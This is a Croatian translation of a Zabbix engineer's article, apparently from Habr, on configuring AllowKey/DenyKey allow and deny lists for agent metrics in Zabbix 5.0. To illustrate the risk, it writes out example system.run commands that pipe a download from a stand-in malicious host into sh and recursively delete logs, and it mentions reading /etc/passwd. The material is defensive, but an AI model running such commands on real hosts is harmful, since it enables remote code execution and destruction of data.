Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Podrška za crne i bijele liste za metriku na strani agenta

Tihon Uskov, integracijski inženjer, Zabbix

Pitanja sigurnosti podataka

Zabbix 5.0 ima novu značajku koja vam omogućuje poboljšanje sigurnosti u sustavima pomoću Zabbix agenta i zamjenjuje stari parametar Omogući daljinske naredbe.

Poboljšanja u sigurnosti sustava temeljenih na agentima proizlaze iz činjenice da agent može izvesti velik broj potencijalno opasnih radnji.

  • Agent može prikupiti gotovo sve informacije, uključujući povjerljive ili potencijalno opasne informacije, iz konfiguracijskih datoteka, datoteka dnevnika, datoteka zaporki ili bilo koje druge datoteke.

Na primjer, pomoću uslužnog programa zabbix_get možete pristupiti popisu korisnika, njihovim kućnim imenicima, datotekama s lozinkama itd.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Pristup podacima pomoću uslužnog programa zabbix_get

NAPOMENA. Podaci se mogu dohvatiti samo ako agent ima dopuštenje za čitanje odgovarajuće datoteke. Ali, na primjer, datoteka /etc/passwd/ čitljiv svim korisnicima.

  • Agent također može izvršavati potencijalno opasne naredbe. Na primjer, tipka *system.run[]** omogućuje vam izvršavanje bilo kojih udaljenih naredbi na mrežnim čvorovima, uključujući pokretanje skripti sa Zabbix web sučelja koje također izvršavaju naredbe na strani agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Na Linuxu, agent radi prema zadanim postavkama bez root privilegija, dok na Windowsima radi kao servis kao System i ima neograničen pristup datotečnom sustavu. Sukladno tome, ako se nakon instalacije ne unesu promjene u parametrima Zabbix agenta, agent ima pristup registru, datotečnom sustavu i može izvršavati WMI upite.

U ranijim verzijama parametar EnableRemoteCommands=0 dozvoljeno samo onemogućavanje metrike s ključem *system.run[]** i pokretanje skripti s web sučelja, ali nije bilo načina za ograničavanje pristupa pojedinačnim datotekama, dopuštanje ili onemogućavanje pojedinačnih ključeva koji su instalirani s agentom ili ograničavanje upotrebe pojedinačnih parametara.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Korištenje parametra EnableRemoteCommand u ranijim verzijama Zabbixa

AllowKey/DenyKey

Zabbix 5.0 pomaže u zaštiti od takvog neovlaštenog pristupa pružanjem bijelih i crnih lista za dopuštanje i odbijanje metrike na strani agenta.

U Zabbix 5.0 svi ključevi, uključujući *system.run[]** su omogućene, a dodane su dvije nove konfiguracijske opcije agenta:

AllowKey= — dopuštene provjere;

DenyKey= — zabranjene provjere;

gdje je uzorak naziva ključa s parametrima koji koristi metaznakove (*).

Tipke AllowKey i DenyKey omogućuju vam da dopustite ili odbijete pojedinačne metrike na temelju određenog uzorka. Za razliku od ostalih konfiguracijskih parametara, broj parametara AllowKey/DenyKey nije ograničen. To vam omogućuje da jasno definirate što točno agent može raditi u sustavu stvaranjem stabla provjera – izvršnih ključeva, pri čemu redoslijed kojim su zapisani igra vrlo važnu ulogu.

Redoslijed pravila

Pravila se provjeravaju redoslijedom kojim su unesena u konfiguracijsku datoteku. Ključ se provjerava prema pravilima prije prvog podudaranja, a čim ključ podatkovnog elementa odgovara uzorku, dopušta se ili odbija. Nakon toga provjera pravila prestaje, a preostali ključevi se zanemaruju.

Stoga, ako se element podudara i s pravilom dopusti i pravilom zabrane, rezultat će ovisiti o tome koje je pravilo prvo u konfiguracijskoj datoteci.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

2 različita pravila s istim uzorkom i ključem vfs.veličina.datoteke[/tmp/datoteka]

Redoslijed korištenja tipki AllowKey/DenyKey:

  1. točna pravila,
  2. Opća pravila,
  3. prohibitivno pravilo.

Na primjer, ako trebate pristup datotekama u određenoj mapi, prvo morate dopustiti pristup njima, a zatim zabraniti sve ostalo što ne spada unutar uspostavljenih dopuštenja. Ako se prvo koristi pravilo odbijanja, pristup mapi bit će odbijen.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Točan slijed

Ako trebate dopustiti rad 2 pomoćnih programa putem *system.run[]**, a prvo će biti navedeno pravilo odbijanja, uslužni programi neće biti pokrenuti jer će prvi uzorak uvijek odgovarati bilo kojem ključu, a sljedeća pravila će se zanemariti.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Netočan redoslijed

Uzorci

Temeljna pravila

Uzorak je izraz sa zamjenskim znakovima. Metaznak (*) odgovara bilo kojem broju bilo kojih znakova na određenoj poziciji. Metaznakovi se mogu koristiti iu nazivu ključa iu parametrima. Na primjer, možete striktno definirati prvi parametar s tekstom, i navedite sljedeći kao zamjenski znak.

Parametri moraju biti u uglatim zagradama [].

  • system.run[* - pogrešno
  • vfs.file*.txt] - pogrešno
  • vfs.file.*[*] - točno

Primjeri korištenja zamjenskog znaka.

  1. U nazivu ključa i u parametru. U ovom slučaju ključ ne odgovara sličnom ključu koji ne sadrži parametar, jer smo u uzorku naznačili da želimo primiti određeni završetak naziva ključa i određeni skup parametara.
  2. Ako uzorak ne koristi uglate zagrade, uzorak dopušta sve ključeve koji ne sadrže parametre i odbija sve ključeve koji sadrže navedeni parametar.
  3. Ako je ključ napisan u cijelosti, a parametri navedeni kao zamjenski znak, odgovarat će bilo kojem sličnom ključu s bilo kojim parametrima i neće odgovarati ključu bez uglatih zagrada, tj. bit će dopušten ili odbijen.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Pravila za popunjavanje parametara.

  • Ako se namjerava koristiti ključ s parametrima, parametri moraju biti navedeni u konfiguracijskoj datoteci. Parametri moraju biti navedeni kao metakarakter. Potrebno je pažljivo zabraniti pristup bilo kojoj datoteci i uzeti u obzir koje informacije metrika može pružiti pod različitim načinima pisanja - sa i bez parametara.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Značajke pisanja ključeva s parametrima

  • Ako je ključ naveden s parametrima, ali su parametri izborni i navedeni kao metakarakter, ključ bez parametara bit će razriješen. Na primjer, ako želite onemogućiti primanje informacija o opterećenju CPU-a i navesti da ključ system.cpu.load[*] treba biti onemogućen, ne zaboravite da će ključ bez parametara vratiti prosječnu vrijednost opterećenja.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Pravila za popunjavanje parametara

Bilješke

podešavanje

  • Neka pravila korisnik ne može promijeniti, na primjer, pravila otkrivanja ili pravila automatske registracije agenta. Pravila AllowKey/DenyKey ne utječu na sljedeće parametre:
    - Stavka imena hosta
    - HostMetadataItem
    - HostInterfaceItem

NAPOMENA. Ako administrator onemogući ključ, na upit, Zabbix ne daje informacije o tome zašto metrika ili ključ spadaju u kategoriju 'NIJE PODRŽANO'. Informacije o zabranama izvršavanja udaljenih naredbi također se ne prikazuju u datotekama dnevnika agenta. Ovo je iz sigurnosnih razloga, ali može zakomplicirati otklanjanje pogrešaka ako mjerni podaci iz nekog razloga spadaju u nepodržanu kategoriju.

  • Ne biste se trebali oslanjati na neki određeni redoslijed povezivanja vanjskih konfiguracijskih datoteka (na primjer, abecednim redom).

Pomoćni programi naredbenog retka

Nakon postavljanja pravila, morate provjeriti je li sve ispravno konfigurirano.

Možete koristiti jednu od tri opcije:

  • Dodajte metriku u Zabbix.
  • Testirajte s zabbix_agentd. Zabbix agent s opcijom -ispis (-p) prikazuje sve ključeve (koji su dopušteni prema zadanim postavkama) osim onih koji nisu dopušteni konfiguracijom. I s opcijom -test (-t) za zabranjeni ključ će se vratiti 'Nepodržani ključ stavke'.
  • Testirajte s zabbix_get. Korisnost zabbix_get s opcijom -k će se vratiti 'ZBX_NOTSUPPORTED: Nepoznata metrika'.

Dopusti ili zabrani

Možete zabraniti pristup datoteci i provjeriti, na primjer, pomoću uslužnog programa zabbix_getda je pristup datoteci odbijen.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

**

NAPOMENA. Navodnici u parametru se zanemaruju.

U tom slučaju pristup takvoj datoteci može biti dopušten drugim putem. Na primjer, ako simbolička veza vodi do njega.

Podrška za crnu i bijelu listu za metriku na strani agenta u Zabbixu 5.0

Preporuča se provjeriti različite mogućnosti primjene navedenih pravila, a također uzeti u obzir mogućnosti zaobilaženja zabrana.

Pitanja i odgovori

Pitanje. Zašto je tako složen obrazac s vlastitim jezikom odabran za opisivanje pravila, dopuštenja i zabrana? Zašto nije bilo moguće koristiti, na primjer, regularne izraze koje Zabbix koristi?

Odgovoriti. Ovo je problem s izvedbom regularnog izraza jer obično postoji samo jedan agent i on provjerava ogroman broj metrika. Regex je prilično teška operacija i na ovaj način ne možemo provjeriti tisuće metrika. Zamjenski znakovi - univerzalno, široko korišteno i jednostavno rješenje.

Pitanje. Nisu li datoteke za uključivanje uključene abecednim redom?

Odgovoriti. Koliko ja znam, praktički je nemoguće predvidjeti redoslijed kojim će se pravila primjenjivati ​​ako rasporedite pravila na različite datoteke. Preporučam prikupljanje svih AllowKey/DenyKey pravila u jednoj datoteci za uključivanje jer su u međusobnoj interakciji i uključivanje ove datoteke.

Pitanje. U Zabbixu 5.0 opcija 'EnableRemoteCommands=' nedostaje u konfiguracijskoj datoteci, a dostupni su samo AllowKey/DenyKey?

Odgovor. da, tako je.

Hvala vam!

Izvor: www.habr.com

Dodajte komentar